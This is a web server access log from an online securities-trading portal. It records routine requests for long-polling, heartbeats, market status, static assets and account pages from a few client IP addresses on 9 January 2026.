[09/Jan/2026:14:32:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940592491 HTTP/1.1" -
[09/Jan/2026:14:32:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:32:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940596016 HTTP/1.1" -
[09/Jan/2026:14:32:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:32:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940603038 HTTP/1.1" -
[09/Jan/2026:14:32:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:32:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940613184 HTTP/1.1" -
[09/Jan/2026:14:32:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940597623 HTTP/1.1" -
[09/Jan/2026:14:32:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:32:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940601049 HTTP/1.1" -
[09/Jan/2026:14:32:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940608074 HTTP/1.1" -
[09/Jan/2026:14:32:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940602686 HTTP/1.1" -
[09/Jan/2026:14:32:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940619189 HTTP/1.1" -
[09/Jan/2026:14:32:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:14:32:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:14:32:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:14:32:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:14:32:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:14:32:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940606100 HTTP/1.1" -
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767940605764 HTTP/1.1" 3188
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:14:32:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:32:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940613158 HTTP/1.1" -
[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:32:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
